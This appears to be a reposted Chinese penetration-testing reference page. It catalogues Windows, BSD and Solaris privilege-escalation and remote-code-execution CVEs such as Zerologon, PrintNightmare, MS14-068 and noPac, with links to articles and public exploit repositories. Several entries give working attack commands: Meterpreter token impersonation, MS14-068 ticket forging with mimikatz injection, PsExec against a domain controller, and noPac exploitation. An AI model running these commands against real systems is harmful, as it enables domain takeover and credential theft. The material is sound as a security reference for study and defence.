  • 相关文章

    • Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
    • 漏洞复现|CVE-2020-0796(SMBv3远程代码执行)漏洞复现
    • 漏洞复现|CVE-2020-0796(永恒之黑)
  • POC | Payload | exp

    • ollypwn/SMBGhost
    • chompie1337/SMBGhost_RCE_PoC - 远程利用代码
    • eerykitty/CVE-2020-0796-PoC - 蓝屏 POC
    • danigargu/CVE-2020-0796 - 本地提权 POC
    • CVE-2020-0796:微软 SMBv3 协议RCE复现
  • 修复工具

    • https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

CVE-2020-1350

  • 相关文章

    • SIGRed - Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers
    • CVE-2020-1350漏洞深入剖析
  • POC | Payload | exp

    • maxpl0it/CVE-2020-1350-DoS
    • chompie1337/SIGRed_RCE_PoC

CVE-2020-16898

  • 相关文章
    • CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现
    • CVE-2020-16898:Windows TCP/IP远程代码执行复现

CVE-2021-31166

  • 相关文章

    • 漏洞描述|CVE-2021-31166 POC
  • POC | Payload | exp

    • 0vercl0k/CVE-2021-31166 - Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.

CVE-2022-21907

  • POC | Payload | exp
    • p0dalirius/CVE-2022-21907-http.sys

Windows Access Token 令牌假冒

当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。

可以使用多种工具查看目前系统上存在的模拟令牌:

  • Incognito

  • Powershell - Invoke-TokenManipulation.ps1

  • Cobalt Strike - steal_token

  • MSF Moudle

    getsystem
    load incognito meterpreter > list_tokens -u
    impersonate_token "PAYLOADS\\Administrator”

MS14-025

  • 相关文章
    • Exploiting "Group Policy Preferences" AKA MS14-025 in windows environment to gain Admin user password.
    • Hack The Box - Active
    • MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege: May 13, 2014

MS14-068 & CVE-2014-6324

  • 简介

    ms14-068 漏洞是 KDC 服务中的 Windows 漏洞,是由 PAC 认证错误引起,导致域内普通用户可以在 Kerberos TGT 中加入伪造的凭据,从域用户提升到域管理员权限。在执行 ms14-068 漏洞之前,需要通过 systeminfo 看目标机器是否打补丁 kb3011780,如果没打就可以尝试使用该方法进行域提权。

  • 影响版本

    • Windows 7 SP1
    • Windows 8.1
    • Windows RT 8.1
    • windows vista
    • Windows Server 2003 SP2
    • Windows Server 2008 SP2
    • Windows Server 2008 R2 SP1
    • Windows Server 2012
    • Windows Server 2012 R2
  • 相关文章

    • MS14-068域权限提升漏洞总结
  • POC | Payload | exp

    • windows-kernel-exploits/MS14-068/

    • abatchy17/WindowsExploits/blob/master/MS14-068/MS14-068.exe

      登录普通域用户 whoami/user 获取 sid

      退出域用户,登录本地用户

      MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.1.1 -p Admin123
      
      # -u 域账号+@+域名称
      # -s 为 ts1 的 SID 值,可以通过 whoami/all 来获取用户的 SID 值
      # -d 为当前域的域控
      # -p 为当前用户的密码,即 ts1 的密码

      接下来将导出生成一张 kerberos 票据,配合 mimikatz 的 ptt 功能,将票据导入到内存中

      使用 mimikatz 将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

      kerberos::purge                 # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
      kerberos::list                  # 查看当前机器凭证
      kerberos::ptc [ccachefile]      # 将票据注入到内存中
      
      可以使用 net use \\域控名\C$ 尝试访问域控
      
      也能执行 psexec
      PsExec64.exe -accepteula \\域控名 -s cmd /c "whoami /all"

CVE-2019-1040 Windows NTLM 篡改漏洞

  • 简介

    使用中继的 LDAP 身份验证,为攻击者帐户授予 DCSync 权限。攻击者帐户使用 DCSync 转储 AD 中的所有密码哈希值。

    也可以将目标服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。攻击者作为受害者服务器上的任何用户进行身份验证。

  • 相关文章

    • 结合CVE-2019-1040漏洞的两种域提权深度利用分析
    • Cve 2019 1040 Intranet Killer
  • POC | Payload | exp

    • Ridter/CVE-2019-1040: CVE-2019-1040 with Exchange
    • fox-it/cve-2019-1040-scanner
    • Ridter/CVE-2019-1040-dcpwn
    • QAX-A-Team/dcpwn

CVE-2020-1472 zerologon

  • 相关文章

    • Netlogon域控提权(CVE-2020-1472)
    • CVE-2020-1472 windows域控提权 zerologon从搭建到复现
    • Hijacking a Domain Controller with Netlogon RPC (aka Zerologon: CVE-2020-1472) | Trustwave
    • 林级域环境下复现 CVE-2020-1472
    • CVE-2020-1472域内提权漏洞利用
    • ZeroLogon(CVE-2020-1472) 分析与狩猎
    • White Paper: Understanding and Exploiting Zerologon
  • 影响版本

    • Windows Server 2008
    • Windows Server 2012
    • Windows Server 2016
    • Windows Server 2019
  • POC | Payload | exp

    • SecuraBV/CVE-2020-1472 - 漏洞检测
    • dirkjanm/CVE-2020-1472 - 漏洞利用\环境恢复
    • VoidSec/CVE-2020-1472
    • mimikatz

CVE-2021-1675 && CVE-2021-34527

  • 描述

    利用该漏洞,攻击者可以使用一个低权限用户(包括匿名共享 guest 账户),对本地网络中的电脑发起攻击,控制存在漏洞的电脑。尤其在企业内部,在域环境中,普通域用户,可以通过该服务,攻击域控服务器,从而控制整个网络。

  • 相关文章

    • CVE-2021-1675
    • Windows Print Spooler服务最新漏洞CVE-2021-34527详细分析
    • CVE-2021-1675 漏洞复现
  • POC | Payload | exp

    • cube0x0/CVE-2021-1675
    • afwu/PrintNightmare
    • hlldz/CVE-2021-1675-LPE
    • 3gstudent/Invoke-BuildAnonymousSMBServer - 启匿名 smb
    • mstxq17/CVE-2021-1675_RDL_LPE - cs插件

NoPac && CVE-2021-42287 && CVE-2021-42278

  • 相关文章

    • CVE-2021-42287/CVE-2021-42278 Weaponisation
    • CVE-2021-42287/CVE-2021-42278 域内翻身做主人
    • CVE-2021-42287复现
    • 「域渗透」NoPac在MAQ=0时的利用
  • POC | Payload | exp

    • cube0x0/noPac
      # 扫描探测
      .\noPac.exe scan -domain test.local -user test -pass 'Abcd1234!@'
      
      # 直接利用
      .\noPac.exe -domain test.local -user test -pass 'Abcd1234!@' /dc dc.test.local /mAccount test123 /mPassword passW0rd /service cifs /ptt
    • WazeHell/sam-the-admin

其他

CVE-2018-8420 Msxml 解析器的远程代码执行漏洞

  • POC | Payload | exp
    • Lz1y/CVE-2018-8420

CVE-2020-0601

  • POC | Payload | exp
    • ollypwn/CVE-2020-0601
    • kudelskisecurity/chainoffools
物理接触

CVE-2020-1398

  • 相关文章
    • BitLocker Lockscreen bypass - 通过粘贴键+讲述人 bypass windows bitlocker锁屏
DOS

condrv.sys内存损坏漏洞

  • 相关文章
    • 【更新】深信服EDR快速响应支持防护Windows condrv.sys内存损坏漏洞
    • Windows 10 bug crashes your PC when you access this location

CVE-2020-16899

  • 相关文章
    • CVE-2020-16899: Windows TCP/IP拒绝服务漏洞

CVE-2021-24086

  • POC | Payload | exp
    • 0vercl0k/CVE-2021-24086

FreeBSD

CVE-2013-2171

  • POC | Payload | exp
    • FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation - FreeBSD local Exploit

OpenBSD

CVE-2019-19726 OpenBSD 提权

  • 简介

    OpenBSD 是加拿大 OpenBSD 项目组的一套跨平台的、基于 BSD 的类 UNIX 操作系统。

    OpenBSD 6.6 及之前版本中存在安全漏洞。本地攻击者可利用该漏洞将权限提升至 root,进而以该权限执行自己的库代码。

  • 影响版本

    • Openbsd:Openbsd:-::
    • Openbsd:Openbsd:2.0::
    • Openbsd:Openbsd:2.1::
    • Openbsd:Openbsd:2.2::
    • Openbsd:Openbsd:2.3::
  • POC | Payload | exp

    • Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)

Solaris

CVE-2020-14724

  • POC | Payload | exp
    • http://www.vapidlabs.com/advisory.php?v=212
    • https://github.com/lcashdol/Exploits/tree/master/ddu-exploit

CVE-2020-14871

  • 简介

    2018 年底,FireEye 子公司 Mandiant 的 FLARE AdvancedPractices 团队,在追踪 UNC1945 团体的活动时发现该团体在一台 Oracle Solaris 操作系统上安装了一个被称为 SLAPSTICK 的后门,用以捕获连接详细信息和身份凭证。转眼间到了 2020 年中旬,Mandiant 观察到 UNC1945 团体在 Oracle Solaris9 服务器上部署了称为 EVILSUN 的远程利用工具。[2] 通过分析发现该工具利用 Oracle Solaris Pluggable Authentication Module (可插拔身份验证模块,简称 PAM) 的基于堆栈的缓冲区溢出漏洞获取最高系统权限。FLARE 小组的进攻性特遣队(OffensiveTask Force)分析了此漏洞以确定其工作方式,并在不同版本的 Solaris 系统上重现了漏洞,然后将其报告给 Oracle。

  • 相关文章

    • Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945
    • 一个被忽视的满分好洞-Solaris SSHD Remote Root Exploit
  • MSF 模块

    solaris/ssh/pam_username_bof

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon

你可能感兴趣的:(学习,linux,运维,服务器)